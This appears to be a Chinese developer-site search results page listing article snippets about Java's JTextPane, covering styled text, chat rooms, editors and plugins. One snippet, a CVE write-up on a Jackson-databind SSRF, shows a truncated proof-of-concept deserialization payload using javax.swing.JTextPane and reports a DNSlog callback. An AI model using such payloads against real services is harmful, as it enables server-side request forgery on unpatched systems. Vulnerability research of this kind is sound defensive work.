首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏灰小猿技术社区

    Java文本框内文字显示不同颜色、字号等属性【函数调用一键实现】

    最近在做聊天室相关项目的开发的时候,需要对文本框中的字体进行区别显示,但是由于JTextArea文本框属于纯文本形式的,无法对其中的文本进行不同格式的显示,所以这个时候就需要使用JTextPane文本域进行文本内容的显示了 其主要原因是: JTextPane文本域中可以设置html样式 JTextArea文本框不可以设置html样式 这就造成了JTextPane文本域中的内容可以根据需要自行设置属性,从而实现不同文字内容的颜色 通过以下函数可以直接对JTextPane文本域中的内容进行写入,其中传入的参数分别是:“写入文本框的内容、字体颜色、是否粗体、字号”,JTextPane文本域布局完成后,直接调用该函数就可对文本写入, 函数代码中的 Document doc = infoWindow.getDocument(); 中的infoWindow为JTextPane文本域的名称,调用函数时注意修改! attrSet, bold);//设置粗体 } StyleConstants.setFontSize(attrSet, fontSize);//设置字号 /*********infoWindow为JTextPane

    2.1K30发布于 2020-09-23
  • 来自专栏网络安全攻防

    CVE-2020-xxxx:Jackson-databind SSRF

    影响范围 jackson-databind before 2.9.10.6 jackson-databind before 2.10.2 利用条件 影响范围应用 漏洞概述 漏洞类javax.swing.JTextPane public static void main(String[] args) throws Exception { String payload = "[\"javax.swing.JTextPane mapper.readValue(payload, Object.class); } } 执行POC.java 之后在DNSlog端成功收到请求: 漏洞分析 首先定位到javax.swing.JTextPane

    83420编辑于 2022-09-07
  • 来自专栏全栈程序员必看

    用Java实现文本编辑器

    .*; //简单的文本编辑器 public class Editor extends JFrame { public JTextPane textPane = new JTextPane(); /

    1.1K20编辑于 2022-09-06
  • 来自专栏Hcode网站

    Java利用多线程和Socket制作GUI界面的在线聊天室

    DefaultListModel<String> users_model; //左边参数 private JScrollPane sysTextScrollPane; private JTextPane private JScrollBar sysVertical; //中间参数 private JScrollPane userTextScrollPane; private JTextPane , 0)); //左边布局 JLabel sysMsg_label = new JLabel("系统日志:"); sysMsgArea = new JTextPane 0)); //中间布局 JLabel userMsg_label = new JLabel("世界聊天:"); userMsgArea = new JTextPane * @Return * @Since 2020/6/6 */ private void insertMessage(JScrollPane scrollPane, JTextPane

    9.3K84发布于 2020-07-14
  • 来自专栏CodeGuide | 程序员编码指南

    《IntelliJ IDEA 插件开发》第二节:开发摸鱼看书的侧边栏窗体

    2.3 阅读页窗体 public class ReadUI { private JPanel mainPanel; private JTextPane textContent; public JComponent getComponent() { return mainPanel; } public JTextPane getTextContent

    5.1K40发布于 2021-11-04
  • 来自专栏IT杂谈学习

    【Java】已解决:`javax.swing.text.BadLocationException`

    这一异常通常发生在使用JTextComponent(如JTextArea或JTextPane)处理文本时。

    23610编辑于 2025-05-24
  • 来自专栏IT杂谈学习

    【Java】已解决:`javax.swing.text.BadLocationException`

    这一异常通常发生在使用JTextComponent(如JTextArea或JTextPane)处理文本时。

    52310编辑于 2024-09-05
  • 来自专栏我在本科期间写的文章

    Java中规模软件开发实训——简单的文本编辑器(代码注释详解)

    代码编辑区域使用JTextPane组件实现,可以进行文本编辑、撤销和重做操作。 行号显示区域使用JTextArea组件实现,显示当前代码编辑区域的行号。 编辑区域:使用 JTextPane 类创建了一个代码编辑区域,支持文本编辑和代码高亮显示。 行号显示:通过在编辑区域左侧添加一个 JTextArea 来实现行号的显示,并与编辑区域进行联动。 java.awt.event.*; import java.io.*; public class CodeEditor extends JFrame { // 声明私有成员变量 private JTextPane = new JPanel(new BorderLayout()); getContentPane().add(mainPanel); codePane = new JTextPane

    1K10编辑于 2024-03-20
  • 来自专栏灰小猿技术社区

    仿微信的网络聊天室项目开发【完整源码讲解】

    我们知道,在实际应用中文本框是纯文本的形式,是无法实现上述效果的,因此对于消息接收框,我们使用的是JTextPane文本域,并且在其中设置我们想要显示的字体样式,关于如何显示的具体教程可以看我的这篇文章 attrSet, bold);//设置粗体 } StyleConstants.setFontSize(attrSet, fontSize);//设置字号 /*********infoWindow为JTextPane

    2K20发布于 2020-09-23
  • 来自专栏愿天堂没有BUG(公众号同名)

    java Swing用户界面组件文本输入:文本域+密码域+格式化的输入域

    如果想要显示格式化文本(如HTML或者RTF),就需要使用JEditorPane和JTextPane类。在卷II将详细讨论这几个类。

    6K10编辑于 2022-10-28
领券